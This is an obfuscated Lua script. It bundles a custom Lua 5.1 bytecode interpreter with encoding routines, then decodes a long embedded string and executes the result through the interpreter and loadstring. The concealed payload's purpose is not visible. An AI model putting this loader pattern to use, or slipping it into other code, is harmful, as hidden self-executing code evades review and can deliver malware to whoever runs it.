local a=select;local b=string.byte;local c=string.sub;local d={{b='OpArgR',c='OpArgN'},{b='OpArgK',c='OpArgN'},{b='OpArgU',c='OpArgU'},{b='OpArgR',c='OpArgN'},{b='OpArgU',c='OpArgN'},{b='OpArgK',c='OpArgN'},{b='OpArgR',c='OpArgK'},{b='OpArgK',c='OpArgN'},{b='OpArgU',c='OpArgN'},{b='OpArgK',c='OpArgK'},{b='OpArgU',c='OpArgU'},{b='OpArgR',c='OpArgK'},{b='OpArgK',c='OpArgK'},{b='OpArgK',c='OpArgK'},{b='OpArgK',c='OpArgK'},{b='OpArgK',c='OpArgK'},{b='OpArgK',c='OpArgK'},{b='OpArgK',c='OpArgK'},{b='OpArgR',c='OpArgN'},{b='OpArgR',c='OpArgN'},{b='OpArgR',c='OpArgN'},{b='OpArgR',c='OpArgR'},{b='OpArgR',c='OpArgN'},{b='OpArgK',c='OpArgK'},{b='OpArgK',c='OpArgK'},{b='OpArgK',c='OpArgK'},{b='OpArgR',c='OpArgU'},{b='OpArgR',c='OpArgU'},{b='OpArgU',c='OpArgU'},{b='OpArgU',c='OpArgU'},{b='OpArgU',c='OpArgN'},{b='OpArgR',c='OpArgN'},{b='OpArgR',c='OpArgN'},{b='OpArgN',c='OpArgU'},{b='OpArgU',c='OpArgU'},{b='OpArgN',c='OpArgN'},{b='OpArgU',c='OpArgN'},{b='OpArgU',c='OpArgN'}}local e={'ABC','ABx','ABC','ABC','ABC','ABx','ABC','ABx','ABC','ABC','ABC','ABC','ABC','ABC','ABC','ABC','ABC','ABC','ABC','ABC','ABC','ABC','AsBx','ABC','ABC','ABC','ABC','ABC','ABC','ABC','ABC','AsBx','AsBx','ABC','ABC','ABC','ABx','ABC'}local function g(h,i,j)if j then local k=h/2^(i-1)%2^(j-1-(i-1)+1)return k-k%1 else local k=2^(i-1)if h%(k+k)>=k then return 1 else return 0 end end end;local function l(h)local i=1;local j;local k;local function m()local n=b(h,i,i)i=i+1;return n end;local function o()local n,p,q,r=b(h,i,i+3)i=i+4;return r*16777216+q*65536+p*256+n end;local function s()return o()*4294967296+o()end;local function t()local n=o()local p=o()local q=1;local r=g(p,1,20)*2^32+n;local u=g(p,21,31)local v=(-1)^g(p,32)if u==0 then if r==0 then return v*0 else u=1;q=0 end elseif u==2047 then if r==0 then return v*1/0 else return v*0/0 end end;return math.ldexp(v,u-1023)*(q+r/2^52)end;local function w(n)local p;if n then p=c(h,i,i+n-1)i=i+n else n=j()if n==0 then return end;p=c(h,i,i+n-1)i=i+n end;return p end;local function x()local n={}local p={}local q={}local r={Instr=n,Const=p,Proto=q,Lines={},Name=w(),FirstL=k(),LastL=k(),Upvals=m(),Args=m(),Vargs=m(),Stack=m()}local u={}if r.Name then r.Name=c(r.Name,1,-2)end;for y=1,k()do local v=o()local z=g(v,1,6)local A=e[z+1]local B=d[z+1]local C={Enum=z,Value=v,g(v,7,14)}if A=='ABC'then C[2]=g(v,24,32)C[3]=g(v,15,23)elseif A=='ABx'then C[2]=g(v,15,32)elseif A=='AsBx'then C[2]=g(v,15,32)-131071 end;do if z==26 or z==27 then C[3]=C[3]==0 end;if z>=23 and z<=25 then C[1]=C[1]~=0 end;if B.b=='OpArgK'then C[3]=C[3]or false;if C[2]>=256 then local D=C[2]-256;C[4]=D;local E=u[D]if not E then E={}u[D]=E end;E[#E+1]={Inst=C,Register=4}end end;if B.c=='OpArgK'then C[4]=C[4]or false;if C[3]>=256 then local D=C[3]-256;C[5]=D;local E=u[D]if not E then E={}u[D]=E end;E[#E+1]={Inst=C,Register=5}end end end;n[y]=C end;for y=1,k()do local v=m()local z;if v==1 then z=m()~=0 elseif v==3 then z=t()elseif v==4 then z=c(w(),1,-2)end;local A=u[y-1]if A then for F=1,#A do A[F].Inst[A[F].Register]=z end end;p[y-1]=z end;for y=1,k()do q[y-1]=x()end;do local v=r.Lines;for y=1,k()do v[y]=o()end;for G=1,k()do w()o()o()end;for G=1,k()do w()end end;return r end;do assert(w(4)=="\27Lua","Lua bytecode expected.")assert(m()==0x51,"Only Lua 5.1 is supported.")m()m()local n=m()local p=m()if n==4 then k=o elseif n==8 then k=s else error('Integer size not supported',2)end;if p==4 then j=o elseif p==8 then j=s else error('Sizet size not supported',2)end;assert(w(3)=="\4\8\0","Unsupported bytecode target platform")end;return x()end;local function H(...)return a('#',...),{...}end;local function I(h,i,j)local k=h.Instr;local m=h.Const;local o=h.Proto;local function s(t,w)local x=h.Name or'Code'local n=h.Lines[w]or'?'error(string.format('%s:%s: %s',x,n,tostring(t)),0)end;return function(...)local t,w=1,-1;local x,n={},a('#',...)-1;local p={}local q={}local r=setmetatable({},{__index=p,__newindex=function(C,D,E)if D>w then w=D end;p[D]=E end})local function u()local C,D;while true do C=k[t]D=C.Enum;t=t+1;if D==0 then r[C[1]]=r[C[2]]elseif D==1 then r[C[1]]=m[C[2]]elseif D==2 then r[C[1]]=C[2]~=0;if C[3]~=0 then t=t+1 end elseif D==3 then local E=r;for y=C[1],C[2]do E[y]=nil end elseif D==4 then r[C[1]]=j[C[2]]elseif D==5 then r[C[1]]=i[m[C[2]]]elseif D==6 then local E=r;E[C[1]]=E[C[2]][C[5]or E[C[3]]]elseif D==7 then i[m[C[2]]]=r[C[1]]elseif D==8 then j[C[2]]=r[C[1]]elseif D==9 then local E=r;E[C[1]][C[4]or E[C[2]]]=C[5]or E[C[3]]elseif D==10 then r[C[1]]={}elseif D==11 then local E=r;local J=C[1]local K=E[C[2]]local L=C[5]or E[C[3]]E[J+1]=K;E[J]=K[L]elseif D==12 then local E=r;E[C[1]]=(C[4]or E[C[2]])+(C[5]or E[C[3]])elseif D==13 then local E=r;E[C[1]]=(C[4]or E[C[2]])-(C[5]or E[C[3]])elseif D==14 then local E=r;E[C[1]]=(C[4]or E[C[2]])*(C[5]or E[C[3]])elseif D==15 then local E=r;E[C[1]]=(C[4]or E[C[2]])/(C[5]or E[C[3]])elseif D==16 then local E=r;E[C[1]]=(C[4]or E[C[2]])%(C[5]or E[C[3]])elseif D==17 then local E=r;E[C[1]]=(C[4]or E[C[2]])^(C[5]or E[C[3]])elseif D==18 then r[C[1]]=-r[C[2]]elseif D==19 then r[C[1]]=not r[C[2]]elseif D==20 then r[C[1]]=#r[C[2]]elseif D==21 then local E=r;local J=C[2]local K=E[J]for y=J+1,C[3]do K=K..E[y]end;r[C[1]]=K elseif D==22 then t=t+C[2]elseif D==23 then local E=r;local J=C[4]or E[C[2]]local K=C[5]or E[C[3]]if J==K~=C[1]then t=t+1 end elseif D==24 then local E=r;local J=C[4]or E[C[2]]local K=C[5]or E[C[3]]if J<K~=C[1]then t=t+1 end elseif D==25 then local E=r;local J=C[4]or E[C[2]]local K=C[5]or E[C[3]]if J<=K~=C[1]then t=t+1 end elseif D==26 then if C[3]then if r[C[1]]then t=t+1 end elseif r[C[1]]then else t=t+1 end elseif D==27 then local E=r[C[2]]if C[3]then if E then t=t+1 else r[C[1]]=E end elseif E then r[C[1]]=E else t=t+1 end elseif D==28 then local E=C[1]local J=C[2]local K=C[3]local L=r;local M,N;local O,P;M={}if J~=1 then if J~=0 then O=E+J-1 else O=w end;P=0;for y=E+1,O do P=P+1;M[P]=L[y]end;O,N=H(L[E](unpack(M,1,O-E)))else O,N=H(L[E]())end;w=E-1;if K~=1 then if K~=0 then O=E+K-2 else O=O+E-1 end;P=0;for y=E,O do P=P+1;L[y]=N[P]end end elseif D==29 then local E=C[1]local J=C[2]local K=r;local L,M;local N;local O=0;L={}if J~=1 then if J~=0 then N=E+J-1 else N=w end;for y=E+1,N do L[#L+1]=K[y]end;M={K[E](unpack(L,1,N-E))}else M={K[E]()}end;for P in next,M do if P>O then O=P end end;return M,O elseif D==30 then local E=C[1]local J=C[2]local K=r;local L,M;local N;if J==1 then return elseif J==0 then N=w else N=E+J-2 end;M={}L=0;for y=E,N do L=L+1;M[L]=K[y]end;return M,L elseif D==31 then local E=C[1]local J=r;local K=J[E+2]local L=J[E]+K;J[E]=L;if K>0 then if L<=J[E+1]then t=t+C[2]J[E+3]=L end else if L>=J[E+1]then t=t+C[2]J[E+3]=L end end elseif D==32 then local E=C[1]local J=r;J[E]=assert(tonumber(J[E]),'`for` initial value must be a number')J[E+1]=assert(tonumber(J[E+1]),'`for` limit must be a number')J[E+2]=assert(tonumber(J[E+2]),'`for` step must be a number')J[E]=J[E]-J[E+2]t=t+C[2]elseif D==33 then local E=C[1]local J=C[3]local K=r;local L=E+2;local M={K[E](K[E+1],K[E+2])}for y=1,J do r[L+y]=M[y]end;if K[E+3]~=nil then K[E+2]=K[E+3]else t=t+1 end elseif D==34 then local E=C[1]local J=C[2]local K=C[3]local L=r;if K==0 then t=t+1;K=k[t].Value end;local M=(K-1)*50;local N=L[E]if J==0 then J=w-E end;for y=1,J do N[M+y]=L[E+y]end elseif D==35 then local E=C[1]local J={}for y=1,#q do local K=q[y]for Q=0,#K do local L=K[Q]local M=L[1]local N=L[2]if M==r and N>=E then J[N]=M[N]L[1]=J end end end elseif D==36 then local E=o[C[2]]local J=r;local K;local L;if E.Upvals~=0 then K={}L=setmetatable({},{__index=function(M,N)local O=K[N]return O[1][O[2]]end,__newindex=function(M,N,O)local P=K[N]P[1][P[2]]=O end})for y=1,E.Upvals do local M=k[t]if M.Enum==0 then K[y-1]={J,M[2]}elseif M.Enum==4 then K[y-1]={j,M[2]}end;t=t+1 end;q[#q+1]=K end;J[C[1]]=I(E,i,L)elseif D==37 then local E=C[1]local J=C[2]local K,L=r,x;w=E-1;for y=E,E+(J>0 and J-1 or n)do K[y]=L[y-E]end end end end;local v={...}for y=0,n do if y>=h.Args then x[y-h.Args]=v[y+1]else r[y]=v[y+1]end end;local z,A,B=pcall(u)if z then if A and B>0 then return unpack(A,1,B)end;return else s(A,t-1)end end end;function f(h,i)local j=l(h)return I(j,i or getfenv(0)),j end;local function R(h)math.randomseed(h)return string.char(math.random(97,122))end;local S=6;local T=R(S)local function U(h)return h:gsub('..',function(i)return string.char(tonumber(i,16))end)end;local V="t91C54i59Vo91Y59Fl58Zp91ZS53eh53b59df91h61xL59H91A60bB53q91d62g91z53j91ey56i91e56mj91e56Z91j60t91Mq62wl91uw62tq91g62m91W62gA91T62d91eG62X91K62yk91X62Vm91Vu62e91I62Oz91UV62g91x62m91y62Wc91bp62D91NT62AX91Dl54r91uV54gr91H56q91Mg62P91y62eH91eZ62Sv91y57Zf91Y62p91TG62e91F62Nz91o58vx57hT91E58E56wQ91Ym62S91rs62vw91l54tx60ef91L58kf56rE91b62c91e53p91X55A62zK91Y62U91gw53n54vi60A91Ys62xX91b54eB91iP62eP91vt62d91bd62yw91R56S91rm58u91Cq62VH91L62dB91l62c91n53WW53K54A91U53r53b56G91AE53Bn62UC57JJ91s53wP53N62tZ91Gx53b53Q58O91ft62eC91o56pS91k58tF91DG62A91pZ62KT91GV62W91H53t62LK56M91s53ee62zA53DO91zU53MD62DB60JU91j53oU62O60zz91cZ53P53Fq53jU91G62q91u62EU91rz62uQ91HR62sB91rw62b91M62p91fx62kH91Nd62SQ91y62e91I62Ek91C62K91X62EP91o62kS91Ds62kl91z62VU91y62lH91sT62"math.randomseed(os.time())function __init__()local h="abcdefghijklmnopqrstuvwxyz"local i="1234567890-=_+!@&#$%^*():\";',./<>?[]{}\\ \32\t\n~`|"local j={{"","0"}}for W=1,#h do table.insert(j,{string.sub(h,W,W),0+W})end;for W=1,#h do table.insert(j,{string.sub(h,W,W):upper(),26+W})end;for W=1,#i do table.insert(j,{string.sub(i,W,W),52+W})end;return j end;local function X(h)local i,j=pcall(function()return tonumber(h)end)if not i then return h else local k=j;math.randomseed(os.time())local m=0;local o=math.random(993,82090)local s=o;local t=math.random(620,8850)local w=math.random(620,9999)local x=math.random(7737,18684)local n=12;local p=math.random(k-10,k+120)return k+t.." + ("..o.." - "..s-k..") - "..k-p.." - "..t.." - 12 ".." + "..w.." - "..w.." + 12 * 2".." - "..x.." + "..x-12*2+n-"5".." + 5 - "..p end end;local function Y(h)local i,j=pcall(function()return tonumber(h)end)if not i then return h else local k=j;math.randomseed(os.time())local m=0;local o=math.random(993,82090)local s=o;local t=math.random(620,8850)local w=math.random(620,9999)local x=math.random(7737,18684)local n=12;local p=math.random(k-10,k+120)return k+t.." - ("..tostring(t/2).." + "..tostring(t/2)-w..")-"..w end end;local Z=__init__()function Convert(h)local function i(k)for m,o in pairs(__init__())do if k==o[1]then return o[2]end end;return false end;local j=""h:gsub(".",function(k)local m=""for _=1,math.random(1,2)do if math.random(0,1)==1 then m=m..string.char(math.random(98,122))else m=m..string.char(math.random(65,90))end end;local o=i(k)if o==false then print("Unknown character "..k)else j=j..m..o end end)return j end;function Decode(h)local function i(m)for o,s in pairs(__init__())do if tonumber(m)==tonumber(s[2])then return s[1]end end;return false end;local j=""local k="%d+"h:gsub(k,function(m)local o=i(m)if o==false then print("Invalid bytecode character: "..m)else j=j..o end end)return{j:sub(1,h:len()),j:sub(h:len(),1)}end;local function a0()return Decode(V)[1]end;local function a1()local h=string.format;local i=a0()local j={}i:gsub("%d+",function(k)table.insert(j,k)end)return j end;local function a2()local h=a1()local i=string.format;local j=string.char;local k=""for a3=1,#h do k=i("%s%s%s",k,j(92),h[a3])end;return k end;local a4=a2()local a5,a6=f(a4),loadstring(a4)pcall(function()a5()end)pcall(function()a6()end)